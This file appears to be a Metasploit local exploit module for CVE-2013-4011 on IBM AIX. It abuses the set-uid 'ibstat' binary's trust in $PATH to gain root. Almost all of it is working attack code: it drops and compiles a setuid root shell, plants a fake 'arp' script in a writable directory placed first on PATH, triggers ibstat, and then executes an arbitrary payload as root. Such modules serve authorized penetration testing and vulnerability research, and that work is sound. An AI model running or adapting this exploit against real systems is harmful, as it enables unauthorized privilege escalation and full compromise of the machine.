##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ibstat $PATH Privilege Escalation',
        'Description' => %q{
          This module exploits the trusted $PATH environment variable of the SUID binary "ibstat".
        },
        'Author' => [
          'Kristian Erik Hermansen', # original author
          'Sagi Shahar <sagi.shahar[at]mwrinfosecurity.com>', # Metasploit module
          'Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>' # Metasploit module
        ],
        'References' => [
          ['CVE', '2013-4011'],
          ['OSVDB', '95420'],
          ['BID', '61287'],
          ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827'],
          ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756']
        ],
        'Platform' => %w[unix aix],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Compat' => {
            'PayloadType' => 'cmd',
            'RequiredCmd' => 'perl'
          }
        },
        'SessionTypes' => %w[shell],
        'Targets' => [
          ['IBM AIX Version 6.1', {}],
          ['IBM AIX Version 7.1', {}]
        ],
        'DefaultTarget' => 1,
        'DisclosureDate' => '2013-09-24',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('IBSTAT_PATH', [true, 'Path to ibstat executable', '/usr/bin/ibstat'])
    ])
    register_advanced_options([
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ])
  end

  def ibstat_path
    datastore['IBSTAT_PATH']
  end

  def check
    find_output = cmd_exec('find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null')

    return CheckCode::Safe("#{ibstat_path} is not set-uid root") unless find_output.to_s.include?('ibstat')

    CheckCode::Appears("#{ibstat_path} is set-uid root")
  end

  def exploit
    root_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}"
    arp_file = "#{datastore['WritableDir']}/arp"
    c_file = %^#include <stdio.h>

int main()
{
   setreuid(0,0);
   setregid(0,0);
   execve("/bin/sh",NULL,NULL);
   return 0;
}
^
    arp = %(#!/bin/sh

chown root #{root_file}
chmod 4555 #{root_file}
)

    if gcc_installed?
      print_status("Dropping file #{root_file}.c...")
      write_file("#{root_file}.c", c_file)

      print_status('Compiling source...')
      cmd_exec("gcc -o #{root_file} #{root_file}.c")
      print_status('Compilation completed')

      register_file_for_cleanup("#{root_file}.c")
    else
      cmd_exec("cp /bin/sh #{root_file}")
    end

    register_file_for_cleanup(root_file)

    print_status('Writing custom arp file...')
    write_file(arp_file, arp)
    register_file_for_cleanup(arp_file)
    cmd_exec("chmod 0555 #{arp_file}")
    print_status('Custom arp file written')

    print_status('Updating $PATH environment variable...')
    path_env = cmd_exec('echo $PATH')
    cmd_exec("PATH=#{datastore['WritableDir']}:$PATH")
    cmd_exec('export PATH')

    print_status('Finding interface name...')
    iface = ''
    cmd_exec('lsdev -Cc if').each_line do |line|
      next unless line.match(/^[a-z]+[0-9]+\s+Available/) && !line.match(/^lo[0-9]/)

      iface = line.split(/\s+/)[0]
      print_status("Found interface #{iface}.")
      break
    end

    if iface == ''
      iface = 'en0'
      print_status('Found no interface, defaulting to en0.')
    end

    print_status('Triggering vulnerablity...')
    cmd_exec("#{ibstat_path} -a -i #{iface} 2>/dev/null >/dev/null")

    # The $PATH variable must be restored before the payload is executed
    # in cases where an euid root shell was gained
    print_status('Restoring $PATH environment variable...')
    cmd_exec("PATH=#{path_env}")
    cmd_exec('export PATH')

    cmd_exec(root_file)
    print_status('Checking root privileges...')

    if is_root?
      print_status('Executing payload...')
      cmd_exec(payload.encoded)
    end
  end

  def gcc_installed?
    print_status('Checking if gcc exists...')
    gcc_whereis_output = cmd_exec('whereis -b gcc')

    if gcc_whereis_output.to_s.include?('/')
      print_good('gcc found!')
      return true
    end

    print_status('gcc not found. Using /bin/sh from local system')
    false
  end

  def is_root?
    id_output = cmd_exec('id')

    if id_output.include?('euid=0(root)')
      print_good('Got root! (euid)')
      return true
    end

    if id_output.include?('uid=0(root)')
      print_good('Got root!')
      return true
    end

    print_error('Exploit failed')
    false
  end
end
